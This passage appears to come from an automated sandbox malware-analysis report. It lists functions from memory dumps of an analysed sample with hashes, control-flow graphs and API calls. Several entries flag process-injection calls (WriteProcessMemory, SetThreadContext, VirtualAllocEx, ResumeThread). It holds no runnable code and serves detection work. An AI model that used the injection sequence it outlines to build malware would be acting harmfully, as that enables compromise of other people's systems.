                                                          • Opcode Fuzzy Hash: 321659c6062e126c925460e090531bc81f91d356370403732e625333e480d699
                                                          • Instruction Fuzzy Hash: 1561B475E01658CFDB58CFAAC9446DDBBF2AF89301F14C0AAD408AB364EB345A85CF50
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 082955C8 Relevance: 1.1, Instructions: 1061COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499431998.0000000008290000.00000040.00000800.00020000.00000000.sdmp, Offset: 08290000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_8290000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a1182b8f026b2b3dc84f0328a3974702b5693ba9af01f6b46e6d47c07d1c9540
                                                          • Instruction ID: ff9e0d649b1dbfc6f071bd6cd60a571699f08f1aa8a98300adc1dcdecee193b7
                                                          • Opcode Fuzzy Hash: a1182b8f026b2b3dc84f0328a3974702b5693ba9af01f6b46e6d47c07d1c9540
                                                          • Instruction Fuzzy Hash: 4582CE31A142058FCB05EF7DD858A5ABBF2FF89300F4186AED08997355EE399C49CB91
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081B0C20 Relevance: 1.0, Instructions: 989COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.498626787.00000000081B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081B0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81b0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a9c6a4ed00fcd373499bcea9211dcdadfe4a18420e2d85ebbb05f03dc1b3b8c3
                                                          • Instruction ID: 58a76aace8ae65c211a4b0770a83ab858189f6cb5418bb4d76384fc216033561
                                                          • Opcode Fuzzy Hash: a9c6a4ed00fcd373499bcea9211dcdadfe4a18420e2d85ebbb05f03dc1b3b8c3
                                                          • Instruction Fuzzy Hash: E872AD34B002159FCB14AB7CC8546AE7BE2AFC9715F24846DD15ADB3A5CF31EC0687A2
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 08078AE0 Relevance: .6, Instructions: 594COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.497682689.0000000008070000.00000040.00000800.00020000.00000000.sdmp, Offset: 08070000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_8070000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 6ca162d60342b8de5b424ff5c7158a8835b491234aa787565904b366ce2e3ade
                                                          • Instruction ID: d4eb062ef6e0c3a4f7f8a8945eb7c806b046c213e54844aae52ebcdcb29961a9
                                                          • Opcode Fuzzy Hash: 6ca162d60342b8de5b424ff5c7158a8835b491234aa787565904b366ce2e3ade
                                                          • Instruction Fuzzy Hash: 04528C74A0034A8FCB14DF28C844B99B7F2BF85314F2586A9D1586F3A1DB71AD86CF81
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 08078AD0 Relevance: .6, Instructions: 584COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.497682689.0000000008070000.00000040.00000800.00020000.00000000.sdmp, Offset: 08070000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_8070000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 7022f0fc218d0e8fa9cc94193dafad0546f44aaafd920fedbc1024561b24c172
                                                          • Instruction ID: 8cdd1847cedea8582e78879776e404d021ed9731d78a0e94096c638ee55178d0
                                                          • Opcode Fuzzy Hash: 7022f0fc218d0e8fa9cc94193dafad0546f44aaafd920fedbc1024561b24c172
                                                          • Instruction Fuzzy Hash: 67528E74A0034A8FCB10DF68C844B99B7F2BF85314F2586A9D5586F3A1DB71AD86CF81
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 05171218 Relevance: .3, Instructions: 332COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.489656062.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_5170000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f5b67da7fc1ba2cc5fecb356ec1f2b194eb2ec7970333cfc7ee722aed196768c
                                                          • Instruction ID: 5c344fca6a2f758545e28215417aa0a073eefa20b081271796a39cee5f105843
                                                          • Opcode Fuzzy Hash: f5b67da7fc1ba2cc5fecb356ec1f2b194eb2ec7970333cfc7ee722aed196768c
                                                          • Instruction Fuzzy Hash: 38C17931B0060A9FEB29DBB9C460BAAB7F7BFC9604F14446DD546DB290CB35E901CB52
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 0829EC78 Relevance: .2, Instructions: 177COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499431998.0000000008290000.00000040.00000800.00020000.00000000.sdmp, Offset: 08290000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_8290000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f3732e388dcab501a28e6fae11e20269c5f4d21e908594d30c7e0421232b8e36
                                                          • Instruction ID: 2c719845662e7492ad785d5be287faf5c77db3cd4905fc4b8f9753f2e923b33a
                                                          • Opcode Fuzzy Hash: f3732e388dcab501a28e6fae11e20269c5f4d21e908594d30c7e0421232b8e36
                                                          • Instruction Fuzzy Hash: B571C074E112198FDB08CFAAD944AEEFBB6FF88301F24812AD419AB354D7706941CF51
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081BFE30 Relevance: 1.6, APIs: 1, Instructions: 71injectionCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 4219 81bfe30-81bfe86 4222 81bfe88-81bfe94 4219->4222 4223 81bfe96-81bfed5 WriteProcessMemory 4219->4223 4222->4223 4225 81bfede-81bff0e 4223->4225 4226 81bfed7-81bfedd 4223->4226 4226->4225
                                                          APIs
                                                          • WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 081BFEC8
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.498626787.00000000081B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081B0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81b0000_r.jbxd
                                                          Similarity
                                                          • API ID: MemoryProcessWrite
                                                          • String ID:
                                                          • API String ID: 3559483778-0
                                                          • Opcode ID: 786111fb0d80e034ec3790bbbb0049d86a038580a4ceac3fc8c5788935dce9ba
                                                          • Instruction ID: 79b5a9ea476935136c8e0ea1f7c0cc9d10559692e7c3ade5ccfe236813fc069d
                                                          • Opcode Fuzzy Hash: 786111fb0d80e034ec3790bbbb0049d86a038580a4ceac3fc8c5788935dce9ba
                                                          • Instruction Fuzzy Hash: 722168759003099FCB10CFAAC884BEEBBF5FF48314F10842EE858A7240DB789945CBA0
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081BFE38 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 4230 81bfe38-81bfe86 4232 81bfe88-81bfe94 4230->4232 4233 81bfe96-81bfed5 WriteProcessMemory 4230->4233 4232->4233 4235 81bfede-81bff0e 4233->4235 4236 81bfed7-81bfedd 4233->4236 4236->4235
                                                          APIs
                                                          • WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 081BFEC8
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.498626787.00000000081B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081B0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81b0000_r.jbxd
                                                          Similarity
                                                          • API ID: MemoryProcessWrite
                                                          • String ID:
                                                          • API String ID: 3559483778-0
                                                          • Opcode ID: 7ae2ceb816eca3249825e83727ebdc2b26a148513f57cc6a7e0ac54c89d01812
                                                          • Instruction ID: 1306c6dfed3e640235a98672e1461735c13d580467bf8f8020c3dc04ea97e82a
                                                          • Opcode Fuzzy Hash: 7ae2ceb816eca3249825e83727ebdc2b26a148513f57cc6a7e0ac54c89d01812
                                                          • Instruction Fuzzy Hash: 512128759003099FCB10CFAAC984BEEBBF5FF48314F14842AE958A7241DB789955CBA0
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 051704F1 Relevance: 1.6, APIs: 1, Instructions: 64threadinjectionCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 4240 51704f1-5170543 4242 5170545-5170551 4240->4242 4243 5170553-5170583 SetThreadContext 4240->4243 4242->4243 4245 5170585-517058b 4243->4245 4246 517058c-51705bc 4243->4246 4245->4246
                                                          APIs
                                                          • SetThreadContext.KERNEL32(?,00000000), ref: 05170576
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.489656062.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_5170000_r.jbxd
                                                          Similarity
                                                          • API ID: ContextThread
                                                          • String ID:
                                                          • API String ID: 1591575202-0
                                                          • Opcode ID: f188fc78de1026a9cf5253586927012eb01cca201108bdcb27b34d9a7c1dfa9d
                                                          • Instruction ID: e8244a1b8e716a9d67314aacc64cadcd3164930b7f60602f574962e52840a2b7
                                                          • Opcode Fuzzy Hash: f188fc78de1026a9cf5253586927012eb01cca201108bdcb27b34d9a7c1dfa9d
                                                          • Instruction Fuzzy Hash: 792145759003098FDB50CFAEC8847AEBBF5AF48324F54C42AD459A7241CB78A945CFA1
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 051704F8 Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 4250 51704f8-5170543 4252 5170545-5170551 4250->4252 4253 5170553-5170583 SetThreadContext 4250->4253 4252->4253 4255 5170585-517058b 4253->4255 4256 517058c-51705bc 4253->4256 4255->4256
                                                          APIs
                                                          • SetThreadContext.KERNEL32(?,00000000), ref: 05170576
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.489656062.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_5170000_r.jbxd
                                                          Similarity
                                                          • API ID: ContextThread
                                                          • String ID:
                                                          • API String ID: 1591575202-0
                                                          • Opcode ID: baf266961ae4187f9c4b9d7311f2e1a7a02f601fdffaf94c5e3c1119e343801d
                                                          • Instruction ID: a6b7e2e5567c9d5cf454b8b4ef03d727e1851cafa4cf23e41e5e012aace4cd00
                                                          • Opcode Fuzzy Hash: baf266961ae4187f9c4b9d7311f2e1a7a02f601fdffaf94c5e3c1119e343801d
                                                          • Instruction Fuzzy Hash: 87213475D003098FDB50CFAEC8847AEBBF5AF48324F54842AD459A7240CB78AA45CFA1
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 05170268 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 4260 5170268-51702be 4263 51702c5-51702f4 VirtualProtectEx 4260->4263 4264 51702f6-51702fc 4263->4264 4265 51702fd-517032d 4263->4265 4264->4265
                                                          APIs
                                                          • VirtualProtectEx.KERNEL32(?,?,?,?,?), ref: 051702E7
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.489656062.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_5170000_r.jbxd
                                                          Similarity
                                                          • API ID: ProtectVirtual
                                                          • String ID:
                                                          • API String ID: 544645111-0
                                                          • Opcode ID: 077bc90aeb81de565346b79afe861a6bce9cd57a237674ce815c7293cb6a56f1
                                                          • Instruction ID: 0ffb0dac839ae508baf9734ccc1f754ada869d930a5a12d1bf480f3afccc438a
                                                          • Opcode Fuzzy Hash: 077bc90aeb81de565346b79afe861a6bce9cd57a237674ce815c7293cb6a56f1
                                                          • Instruction Fuzzy Hash: 282137768003499FDB10CFAAC8447EEBBB5EF48324F14842ED469A7240DB79A945CFA1
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 05170270 Relevance: 1.6, APIs: 1, Instructions: 60COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 4269 5170270-51702f4 VirtualProtectEx 4272 51702f6-51702fc 4269->4272 4273 51702fd-517032d 4269->4273 4272->4273
                                                          APIs
                                                          • VirtualProtectEx.KERNEL32(?,?,?,?,?), ref: 051702E7
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.489656062.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_5170000_r.jbxd
                                                          Similarity
                                                          • API ID: ProtectVirtual
                                                          • String ID:
                                                          • API String ID: 544645111-0
                                                          • Opcode ID: c6f8a5daa346bad86fda3a7f51abf4f315a08c46833160f71df5b0f48887f769
                                                          • Instruction ID: e738eb247dffd47a49ff05198cd0ad98538f6016df4a7a3c7535a2f000b2796d
                                                          • Opcode Fuzzy Hash: c6f8a5daa346bad86fda3a7f51abf4f315a08c46833160f71df5b0f48887f769
                                                          • Instruction Fuzzy Hash: 5E2118759003099FDB10CFAAC8447EEBBF5EF48324F54842AD469A7240CB79A945CFA1
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081B0FF4 Relevance: 1.6, APIs: 1, Instructions: 59fileCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 4277 81b0ff4-81bfa72 4280 81bfa7a-81bfaa5 DeleteFileW 4277->4280 4281 81bfa74-81bfa77 4277->4281 4282 81bfaae-81bfad6 4280->4282 4283 81bfaa7-81bfaad 4280->4283 4281->4280 4283->4282
                                                          APIs
                                                          • DeleteFileW.KERNEL32(00000000), ref: 081BFA98
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.498626787.00000000081B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081B0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81b0000_r.jbxd
                                                          Similarity
                                                          • API ID: DeleteFile
                                                          • String ID:
                                                          • API String ID: 4033686569-0
                                                          • Opcode ID: 5331531d1ddbda619ff892259786bc0b0a73f0f9edea76489c63bb09bf7642bc
                                                          • Instruction ID: 24bb664dc3a6d07ac5d617842cc3193ef5ccc96ac0e0dff59979318391876c6d
                                                          • Opcode Fuzzy Hash: 5331531d1ddbda619ff892259786bc0b0a73f0f9edea76489c63bb09bf7642bc
                                                          • Instruction Fuzzy Hash: 642138B5D006199BCB14CFAAC9447EEFBB4EF08320F14812AD814B7240D778A945CFE1
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081BFD28 Relevance: 1.6, APIs: 1, Instructions: 55memoryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 4286 81bfd28-81bfd73 4288 81bfd7a-81bfdab VirtualAllocEx 4286->4288 4289 81bfdad-81bfdb3 4288->4289 4290 81bfdb4-81bfdd9 4288->4290 4289->4290
                                                          APIs
                                                          • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 081BFD9E
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.498626787.00000000081B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081B0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81b0000_r.jbxd
                                                          Similarity
                                                          • API ID: AllocVirtual
                                                          • String ID:
                                                          • API String ID: 4275171209-0
                                                          • Opcode ID: 7078b249e1ed043a71fbd349fd7a0d926fe8994d0e7048d1bdb07eb262d19ff1
                                                          • Instruction ID: 32fca9b8651a39a0116d51732f97caef361b84ef5fcba216ed795309d879d6b5
                                                          • Opcode Fuzzy Hash: 7078b249e1ed043a71fbd349fd7a0d926fe8994d0e7048d1bdb07eb262d19ff1
                                                          • Instruction Fuzzy Hash: 3B1147769002499FCB10CFAEC844AEEBFF6AF88324F14881DD455A7250CB799945CFA1
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 05170778 Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 4294 5170778-51707ef ResumeThread 4298 51707f1-51707f7 4294->4298 4299 51707f8-517081d 4294->4299 4298->4299
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.489656062.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_5170000_r.jbxd
                                                          Similarity
                                                          • API ID: ResumeThread
                                                          • String ID:
                                                          • API String ID: 947044025-0
                                                          • Opcode ID: de4f0bed02367580ab0a9eced070b80f309402089372678d6a311706232a1761
                                                          • Instruction ID: 65339586818fdeacf8f17f85e838e92a6722143b6b2ed3670c804600e55eba9f
                                                          • Opcode Fuzzy Hash: de4f0bed02367580ab0a9eced070b80f309402089372678d6a311706232a1761
                                                          • Instruction Fuzzy Hash: AB1167759003498BCB10DFAEC8487AEBFF5AF88324F14845EC465A7240CB78A945CFA1
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081BFD30 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 4303 81bfd30-81bfdab VirtualAllocEx 4306 81bfdad-81bfdb3 4303->4306 4307 81bfdb4-81bfdd9 4303->4307 4306->4307
                                                          APIs
                                                          • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 081BFD9E
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.498626787.00000000081B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081B0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81b0000_r.jbxd
                                                          Similarity
                                                          • API ID: AllocVirtual
                                                          • String ID:
                                                          • API String ID: 4275171209-0
                                                          • Opcode ID: 2a9e23e5fb19c19e022567a51773ba853141937393f9a34267b64d528e5c0470
                                                          • Instruction ID: 17ad0830d7b8f1999d4dc0f09f5a382bd72369ef3d39257745dbd5814bbbd0e6
                                                          • Opcode Fuzzy Hash: 2a9e23e5fb19c19e022567a51773ba853141937393f9a34267b64d528e5c0470
                                                          • Instruction Fuzzy Hash: 6E1167769002499FCB10CFAAC8446DFBFF6EF88324F148819E465A7250CB79A945CFA0
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 05170780 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.489656062.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_5170000_r.jbxd
                                                          Similarity
                                                          • API ID: ResumeThread
                                                          • String ID:
                                                          • API String ID: 947044025-0
                                                          • Opcode ID: 92bde562faac166287e902eb7485eba48945458318e3784d355d7ce62efdb189
                                                          • Instruction ID: 89544b89eaff66a673da5663eb7632bf33e3497b5a843137d5ded4cb6aa1cbfd
                                                          • Opcode Fuzzy Hash: 92bde562faac166287e902eb7485eba48945458318e3784d355d7ce62efdb189
                                                          • Instruction Fuzzy Hash: 681128759003498BDB10DFAEC84879EFBF5AF88324F148419D469A7240CB79A945CFA5
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 05170D29 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • PostMessageW.USER32(?,?,?,?), ref: 05170D8D
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.489656062.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_5170000_r.jbxd
                                                          Similarity
                                                          • API ID: MessagePost
                                                          • String ID:
                                                          • API String ID: 410705778-0
                                                          • Opcode ID: 9459091fe3df3dae0d0dc9fb9a0cd9d7c765b189b4a0e58c454889a272d03958
                                                          • Instruction ID: 2d80431f1d3e552ec795f823f5ea5d6e19d762003fcaee789fdec71f8909e3d6
                                                          • Opcode Fuzzy Hash: 9459091fe3df3dae0d0dc9fb9a0cd9d7c765b189b4a0e58c454889a272d03958
                                                          • Instruction Fuzzy Hash: 2D110AB98043499FDB20CF99D984BDEBFF4EB58324F24845DE455A7201C3B5A684CFA1
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 05170D30 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • PostMessageW.USER32(?,?,?,?), ref: 05170D8D
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.489656062.0000000005170000.00000040.00000800.00020000.00000000.sdmp, Offset: 05170000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_5170000_r.jbxd
                                                          Similarity
                                                          • API ID: MessagePost
                                                          • String ID:
                                                          • API String ID: 410705778-0
                                                          • Opcode ID: d520f6c4afe4904d1acf8602cff4fc89054273ae9fd8d79399aa48a7de74edf2
                                                          • Instruction ID: 3231200c880a79b9f329cab490780886676c85bca1558075f26d257563236a3f
                                                          • Opcode Fuzzy Hash: d520f6c4afe4904d1acf8602cff4fc89054273ae9fd8d79399aa48a7de74edf2
                                                          • Instruction Fuzzy Hash: A511E8B98003499FDB10DF9AD984BDEFBF8FB48324F108419E455A7200C3B5AA84CFA1
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081E6722 Relevance: 1.4, Strings: 1, Instructions: 110COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499183997.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81e0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @ Hq
                                                          • API String ID: 0-2646558054
                                                          • Opcode ID: ee7ea8ede313c48e0e17f143a1c394afc2df9a1c6a8f38556045e2180eb58a29
                                                          • Instruction ID: 6597667c5269fe0bde22347d753a00ab3efc1ea5c91f9692f935099e30af19c1
                                                          • Opcode Fuzzy Hash: ee7ea8ede313c48e0e17f143a1c394afc2df9a1c6a8f38556045e2180eb58a29
                                                          • Instruction Fuzzy Hash: F83178707142118FD749ABB8E864F2E76EBEB89710F108559E049DB395CE79AC0187A1
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081E6730 Relevance: 1.4, Strings: 1, Instructions: 103COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499183997.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81e0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @ Hq
                                                          • API String ID: 0-2646558054
                                                          • Opcode ID: a1d837696a596c8328246284958c85d510cb2bfd963a5a512654b74356aedf89
                                                          • Instruction ID: c0af442d38d99f8c1a063aaa9682582f47a5432b8dbb66cb981bb001439de740
                                                          • Opcode Fuzzy Hash: a1d837696a596c8328246284958c85d510cb2bfd963a5a512654b74356aedf89
                                                          • Instruction Fuzzy Hash: 1D318D717142158FD748ABBCE868F2E76EBFBC9710F108519E009DB394DE79AC0187A1
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081E0040 Relevance: 1.0, Instructions: 1021COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499183997.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81e0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: b0174ecdad3f3d58251c7e8c9834cbc9d2c32aff1640b35c6401f8c99047a901
                                                          • Instruction ID: db57e755656639b2fd38939589477ca661dc7026e7fc4e04b38e1ffd984ca3cd
                                                          • Opcode Fuzzy Hash: b0174ecdad3f3d58251c7e8c9834cbc9d2c32aff1640b35c6401f8c99047a901
                                                          • Instruction Fuzzy Hash: 5D827C70E146198FDB44EBB8D899BADBBB2FF88300F0085ADD48897345DE789D84CB51
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081E38D3 Relevance: .8, Instructions: 756COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499183997.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81e0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: f1dbfb76625bff9a57202ba3e6d0eb384e0612717a02c46900936e9850dceac5
                                                          • Instruction ID: 4155bd49d80e7d0a604e566655a2384b295ab031b3fb88ad7edeff87cb42c04e
                                                          • Opcode Fuzzy Hash: f1dbfb76625bff9a57202ba3e6d0eb384e0612717a02c46900936e9850dceac5
                                                          • Instruction Fuzzy Hash: DF528171E10619CBDB05EBB8D898B5DBBB2FF84300F0186AAD448A7355DF389D84CB95
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081E0006 Relevance: .6, Instructions: 617COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499183997.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81e0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: ee37ffd67ca34717463716df1fed99d3ce7cb6ee7cbe1fc02bb401f2da55ddfc
                                                          • Instruction ID: ede38f8d8274b738b32b877149bf4e31307fc4432386e09e57e0d131fe8c819d
                                                          • Opcode Fuzzy Hash: ee37ffd67ca34717463716df1fed99d3ce7cb6ee7cbe1fc02bb401f2da55ddfc
                                                          • Instruction Fuzzy Hash: 9932B170A146198FCB44EBBCD8987ADBBB2FF88300F0185A9D088D7354DE789D95CB91
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081E5BC2 Relevance: .6, Instructions: 550COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499183997.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81e0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: e01561eda666b212b467eaeba0d1d07a50e738cabc7323dd9a7cc8b8a1c8b5e4
                                                          • Instruction ID: 82a584f9bf11049cd5bc2d252cc2db562afc829f7bea4e99630715ae4a6ddac8
                                                          • Opcode Fuzzy Hash: e01561eda666b212b467eaeba0d1d07a50e738cabc7323dd9a7cc8b8a1c8b5e4
                                                          • Instruction Fuzzy Hash: 77124B70A102198BDB04EBBDD999B6DBBB6FF88300F40856DE089DB355EE389C44CB51
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 081E5BD0 Relevance: .5, Instructions: 544COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.499183997.00000000081E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 081E0000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_81e0000_r.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a7e2dfa747e4bd46d3cbecdccfb14efa6dbe27b85ef34a0181ad32a1bc6a70bf
